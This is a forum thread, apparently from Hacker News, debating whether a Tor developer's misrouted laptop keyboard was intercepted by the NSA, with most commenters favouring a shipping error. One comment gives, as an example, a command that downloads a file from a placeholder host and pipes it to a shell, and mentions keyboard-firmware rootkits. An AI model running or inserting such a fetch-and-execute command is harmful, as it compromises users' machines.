1. Amazon transposed a tracking code.

2. A third-party reseller transposed a tracking code.

3. USPS transposed a tracking code.

4. The tracking code is correct, but an error in USPS's backend showed tracking data for another shipment anyway.

5. The tracking code is correct, and the tracking data is correct, and the package went to Virginia because USPS screwed up.

I've personally seen #5, and none of the others are all that hard to believe.

I can tell you a story. Some years ago, back in Russia, as a [naive] kid, I've developed a surveillance system for Telrad telecom exchange [ultimately for FSB]. Do you think anyone cared to do that project in secrecy? I can give you the answer. Nope.

As far as I understand NSA can legally intercept packages and can legally install undetectable surveillance devices. As long as they are not using collected surveillance data, legally they are fine and they do not absolutely have to hide their activities at all costs. Hiding large scale operation is difficult and plugging every information leak is expensive. So they are not necessarily prioritizing that. So, yes, there is a change that we simply see their activity. And yes, it could be just an Amazon bug.

These days you could probably drop the country and year and have trouble differentiating tactics used by the US and Russia.

Isn't the whole point of this program to capture information that the target wouldn't otherwise broadcast publicly?

http://www.techdirt.com/articles/20131220/10200525651/fbi-ag...

Apparently keeping secrets is hard. Human error and all.

Part of this discussion seems based on a lack of understanding of the geography of the DC area. Alexandria is near these agencies, omg! But the fact is that there isn't much government in Alexandria. USPTO is there, and otherwise it's charming old houses, quirky shops, crappy strip malls, cookie-cutter suburbia, smallish high-rise apartments, railroad facilities, light industry, and other such similar things.

It's roughly like seeing your Mac get misdelivered to Richmond, CA and deciding that holy crap it's been intercepted by Apple on its way to me.

Maybe this page is of interest?

https://www.ida.org/aboutus/organization/hpcc.php

http://en.wikipedia.org/wiki/Institute_for_Defense_Analyses

Spy the address down at the bottom.

And if you wanna get really crazy or are just interested: http://en.wikipedia.org/wiki/Columbia_University_protests_of...

Whatever office, department, or contractor does the NSA's package intercepts, all public sources will describe it as something innocent and unrelated.

I have no particular objection to saying, "this stuff would be secret so of course there would be no information on it". Oddly, nobody has actually tried that.

However, that still goes back to the point I raised: why Alexandria? It's not particularly convenient to the NSA. It's not convenient to shippers. It doesn't have anything special in the way of infrastructure. So it would be quite an odd choice. Possible, but it's not the smoking gun the article makes it out to be.

There's no point in debating speculations beyond that because we don't have any information for or against.

It's just me stating "hey, it's possible" and refuting your suggestion that there isn't anything in Alexandria that could cause concern. I'm only answering a question you asked.

Given what the company researches, their history and mission, it seems like exactly the sort of place where this wild theory suggested by the OP could be a reality.

The people in that building are highly trusted whereas the NSA has good reason not to trust the brilliant geeks working for their contractors.

You're the NSA. Who do you trust more: A) (Perhaps the) CTO of a defense contractor that only works for you that you've had a 20 year working relationship with? B) The bright eyed young scientists working for that contractor in a building 3000 miles away?

Or put another way, despite the Snowden leak, I'll bet you any amount of money that the NSA is still in "really fucking tight" with Booz Allen Hamilton.

Or: duh OPSEC.

In one paragraph, you seem to be saying that the NSA wouldn't trust the employees of contractors. In the next paragraph, you tell me that the NSA is still "really fucking tight" with Booz Allen. These two ideas seem completely contradictory.

But I think you might be suggesting that the NSA has given up on the low-level employees, and is now having the executives of these companies do the work directly. Which seems completely ludicrous to me, as no C-level at a company like this (even the CTO) is going to have the requisite skills, and even if he did he's not going to have the time.

Not executives specifically but somebody trusted. That's more likely to be in the building where administration is done than anywhere else. Also you want to separate research from implementation. Your narrow refusal to even consider that there might be an interesting place for an agency to ship a laptop component to in Alexandria has taken this exercise way further than it needs to be to demonstrate the point.

For example, I live a couple of miles from the headquarters of Exxon Mobil. Yet it's about the last place I'd look if I wanted to find a trustworthy person to drill an oil well or build a gas pipeline.

Also, I'm not refusing to consider that Alexandria might be a viable destination for this. I merely think it's unlikely, especially compared to the "military and intelligence belt" language used in the post.

I'd agree an innocent screw-up is far more likely, here and in any particular case where something weird happens. Weird stuff happens with shipping all the time.

But since we know shipment interception is part of the NSA toolkit, and the NSA cares about Tor, people aren't crazy to be curious and even paranoid around remote possibilities. And if I were a Tor developer, I might buy all my hardware from store shelves with cash.

Also, that failure might be technical or intentional. As I mentioned on another subthread, it's always possible this was "accidentally" exposed by an employee working at the merchant or postal service. The program would require their cooperation. After all, we first learned about the telco spying because telco employees spoke up.

As for whether it's conceivable that NSA would target a Tor developer? A few months they were spying on our close friends and allies simply because they could. If that same mindset were applied to the intercept program, then this isn't impossible to imagine. Just because the NSA and administration has finally recognized their overreach and has started backpedalling doesn't mean these programs change overnight.

A few comments:

• This "low-level operative" was a system administrator who used social engineering to obtain other people's authentication credentials and gain access to material to which he wasn't authorized. He wasn't the janitor or some clueless field agent.

• Did Snowden expose operational shortcomings? Absolutely. A lot of the programs that have been publicly revealed through his leaks have been running for over a decade without ever seeing the light of day, though. That tells me these "pervasive operational shortcomings" aren't very pervasive. (If they were, the NSA would be absolute shit at their mission.)

• I don't think Andrea is a "high value target," or at least high value enough to risk compromising whatever method they might use to bug her keyboard. I don't say this to belittle her or her work in any way — she seems to be a skilled programmer/hacker/infosec person. And that's exactly why this whole "the NSA is bugging her keyboard" theory doesn't make any sense.

Let's assume for the sake of argument that the NSA had planned to bug her keyboard, and that keyboard is now sitting in an NSA (or contractor) facility in/near Alexandria, Virginia, waiting for some modification to be made before shipping it back out. But, oops, they screwed up and forgot to fake the USPS tracking information. They know she knows because she tweeted about it. She's also tweeted that she can never trust the keyboard if/when it shows up. Why would they ship her a bugged keyboard at this point? If/when the keyboard shows up, she's probably going to take it apart and share anything interesting she finds with the world. There will be hard evidence.

Even if they hadn't bungled the tracking information in our hypothetical argument, they're risking exposure of the exact methods they use to bug a machine for not much potential gain. (Remember, Andrea's a skilled hacker/programmer. There's a very good chance she'll figure out what's going on and tell the world if she has any inkling that her laptop's been tampered with.)

• The keyboard she ordered fits a ThinkPad T60/T61/T400/T500 (and the equivalent "R" models, plus a few others). Internally, the keyboard and TrackPoint speak PS/2. While they could log keystrokes to an on-board chip and transmit keystrokes via radio, there aren't any especially interesting things the NSA can do to her laptop via a modified keyboard. They certainly won't be rooting it that way.

• I said that I don't think Andrea is a "high value target," despite her work on Tor, because everything about Tor is open. Anyone can download the code and see exactly how it works. The protocol is well-known. There's no curtain to peek behind and gain strategic information about Tor's workings.

So while I don't reject the argument that the NSA is trying to bug her laptop as impossible, I think it's exceedingly improbable. My money's still on "seller screwed up the tracking number."

I also like the part where the NSA is guarded by the Catch-22 "it wasn't them, because if it was, you'd never know", such that that there's no scenario in which you could be convinced that the NSA did anything.

The flip side of this argument, which everyone here seems to be clutching onto and running with, is that if the NSA is capable of it, they're doing it at every available opportunity, even when it doesn't make any sense to.

This is a joke, right? A keyboard and a keylogger would give you everything you need to root a computer.

If a hypothetical modified keyboard is logging keystrokes, someone has to eventually retrieve it to get the logged data. If it's transmitting keystrokes via radio, someone has to be nearby to capture them and then steal the laptop to get at its (presumably encrypted) data.

Alternatively, such a keyboard could try to do something clever when a shell is focused, although it's risky.

Here's a fun thought exercise for you, since my first reply didn't spark one. Imagine you're an evil keyboard. What evil could you accomplish? Hint: you don't even need your own radio, the computer's already got one.

"we describe how to tamper with a firmware upgrade to the Apple Aluminum Keyboard. We describe how an attacker can subvert an off-the-shelf keyboard by embedding into the firmware malicious code which allows a rootkit to survive a clean re-installation of the host operating system."

An autonomously malicious PS/2 keyboard, on the other hand, is on the end of a slow (~12 kbit/s) serial interface. It can only simulate keypresses and receive updates about the keyboard LEDs' statuses. It doesn't know the current state of the system. It's as likely to type "curl http://innocent-looking.org/logo.jpg|sh" in a text editor as it is at a command prompt, so it can't type anything autonomously without running the (huge) risk of alerting its owner to its presence.

Edit: The "Reversing and exploiting an Apple firmware update" paper linked below talks about persisting a rootkit on a computer by using Spotlight to open Terminal, then typing a command to download and execute a payload. That runs the same risk of alerting the user to its presence, and it will completely fail if the user has remapped Cmd-Space to something else.

Seems the Tor project is using Git for all of their projects, so doing something like that would probably require pwning whatever system she's creating commits on. I will say that putting a bug or something in her keyboard doesn't seem like a terribly efficient way of doing this.

https://www.torproject.org/docs/signing-keys.html.en

So with less snark: I don't think it's exceedingly improbable at all, and whether ultimately it turns out to be the case or not, smugly guffawing the idea that the NSA may have used a trick like that isn't warranted. They really do intercept people's laptop shipments [1] to plant malware in them. They really do sneak tiny radio transmitters into end-user hardware. They really are trying to get backdoors into communication tools. I'll put it this way: if I worked on the kind of software Andrea works on, I would be seriously alarmed. Would you keep the keyboard?

On some specific points you made:

* That Snowden had access to other people's credentials seems like a serious operational shortcoming to me. The "low-level" part wasn't an attack on Snowden; the point is that a lot of people have that level of access. In general, the US intelligence apparatus makes a lot of well-publicized mistakes; I'm sure they make a great number of more subtle ones.

* On the NSA's shortcomings generally, I think this is actually nicely illustrative. Because a lot of the stuff Snowden revealed were things a lot of credible people already believed, based on things like weird locked server closets in telecom buildings and PRNGs that seemed fishy and pointless and heresay reports of requests for backdoor access to communication tools and so on. There was just little hard evidence before Snowden. And there won't be here either. So this is entirely consistent with the what the NSA was like in those decades where their programs "never saw the light of day".

* I think being a core Tor developer makes her high value target. It's hard to imagine the NSA wanting to subvert all the things it's subverted and not wanting to backdoor Tor. Keylogging her keyboard is a great way to do that, either by compromising her somehow, or by just stealing her credentials. So I don't follow the "it doesn't make any sense" line of thinking.

* That she's now tweeted about certainly makes it unlikely that, if the NSA has it, they'll go through with sending it bugged. But so?

Where I come out on this is that yes, it's probably nothing, but it should be treated with suspicion and carefulness, not laughed off because haha, what, do you think you're in a spy movie or something? Because, basically, we are.

[1] Yes, I know this is just the keyboard. I don't think that's a relevant difference.

I was dismissing the linked blog post as much as the suggestion of NSA involvement. The blog post took a single tweet with a single screenshot, screwed up half the facts ("tracking details for a computer Shepard ordered" — uh, no, it was a used laptop keyboard), sensationalized the other half ("it moved another four times around the military and industrial belt" — uh, no, it moved from IAD to Alexandria), and tacked a pile of rhetorical questions and conjecture on the end.

I somehow expected better from an ACLU chapter.